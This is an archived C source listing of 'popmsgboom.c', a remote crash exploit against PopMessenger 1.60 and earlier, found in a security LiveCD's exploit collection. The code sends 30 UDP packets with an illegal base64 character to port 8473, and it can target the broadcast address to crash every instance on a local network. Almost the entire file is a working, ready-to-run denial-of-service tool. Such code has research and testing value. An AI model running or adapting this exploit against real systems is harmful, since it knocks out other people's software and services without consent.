home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / popmessenger / popmsgboom.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  147 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <time.h>
  11.  
  12. #ifdef WIN32
  13.     #include <winsock.h>
  14.     #include "winerr.h"
  15.  
  16.     #define close   closesocket
  17. #else
  18.     #include <unistd.h>
  19.     #include <sys/socket.h>
  20.     #include <sys/types.h>
  21.     #include <arpa/inet.h>
  22.     #include <netinet/in.h>
  23.     #include <netdb.h>
  24. #endif
  25.  
  26.  
  27.  
  28. #define VER     "0.1"
  29. #define PORT    8473
  30. #define BCAST   "255.255.255.255"
  31. #define MAX     30      // we need less then 20 packets
  32.  
  33.  
  34.  
  35. u_long resolv(char *host);
  36. void std_err(void);
  37.  
  38.  
  39.  
  40. int main(int argc, char *argv[]) {
  41.     struct  sockaddr_in peer;
  42.     int         sd,
  43.                 i,
  44.                 on = 1;
  45.     u_long      randnum;
  46.     u_short     port = PORT;
  47.     u_char      pck[] =
  48.                 "Z........\0"
  49.                 "C@main\1"
  50.                 "@chnlMAIN\1"
  51.                 "@chnlMAIN\1"
  52.                 "\1\1\1\1\1"
  53.                 "crasher\1"
  54.                 "cmdAddString\1"
  55.                 "%\1";  // the crash happens when the program receives
  56.                         // multiple packets containing an incorrect base64
  57.                         // char in the message field (in fact % is illegal)
  58.  
  59.  
  60.     setbuf(stdout, NULL);
  61.  
  62.     fputs("\n"
  63.         "PopMessenger <= 1.60 (20 Sep 2004) remote crash "VER"\n"
  64.         "by Luigi Auriemma\n"
  65.         "e-mail: aluigi@altervista.org\n"
  66.         "web:    http://aluigi.altervista.org\n"
  67.         "\n", stdout);
  68.  
  69.     if(argc < 2) {
  70.         printf("\n"
  71.             "Usage: %s <host> [port(%d)]\n"
  72.             "\n"
  73.             "Note: you can also launch this tool versus broadcast IP (like "BCAST")\n"
  74.             "\n", argv[0], PORT);
  75.         exit(1);
  76.     }
  77.  
  78. #ifdef WIN32
  79.     WSADATA    wsadata;
  80.     WSAStartup(MAKEWORD(1,0), &wsadata);
  81. #endif
  82.  
  83.     if(argc > 2) port    = atoi(argv[2]);
  84.     if(!memcmp(argv[1], BCAST, sizeof(BCAST) - 1)) {
  85.         peer.sin_addr.s_addr = 0xffffffffL;
  86.     } else {
  87.         peer.sin_addr.s_addr = resolv(argv[1]);
  88.     }
  89.     peer.sin_port        = htons(port);
  90.     peer.sin_family      = AF_INET;
  91.  
  92.     printf("- target %s:%hu\n",
  93.         inet_ntoa(peer.sin_addr),
  94.         port);
  95.  
  96.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  97.     if(sd < 0) std_err();
  98.  
  99.     /* broadcast */
  100.     if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
  101.      < 0) std_err();
  102.  
  103.     randnum = time(NULL);
  104.  
  105.     printf("- send %d messages with an illegal base64 char to cause the crash\n", MAX);
  106.     for(i = 0; i < MAX; i++) {
  107.         sprintf(pck + 1, "%08lx", randnum * i);  // must be ever different
  108.         if(sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
  109.           < 0) std_err();
  110.         fputc('.', stdout);
  111.         sleep(0);
  112.     }
  113.  
  114.     close(sd);
  115.     fputs("\n- data sent, the application should be crashed\n\n", stdout);
  116.     return(0);
  117. }
  118.  
  119.  
  120.  
  121. u_long resolv(char *host) {
  122.     struct hostent *hp;
  123.     u_long host_ip;
  124.  
  125.     host_ip = inet_addr(host);
  126.     if(host_ip == INADDR_NONE) {
  127.         hp = gethostbyname(host);
  128.         if(!hp) {
  129.             printf("\nError: Unable to resolv hostname (%s)\n", host);
  130.             exit(1);
  131.         } else host_ip = *(u_long *)hp->h_addr;
  132.     }
  133.     return(host_ip);
  134. }
  135.  
  136.  
  137.  
  138. #ifndef WIN32
  139.     void std_err(void) {
  140.         perror("\nError");
  141.         exit(1);
  142.     }
  143. #endif
  144.  
  145.  
  146.  
  147.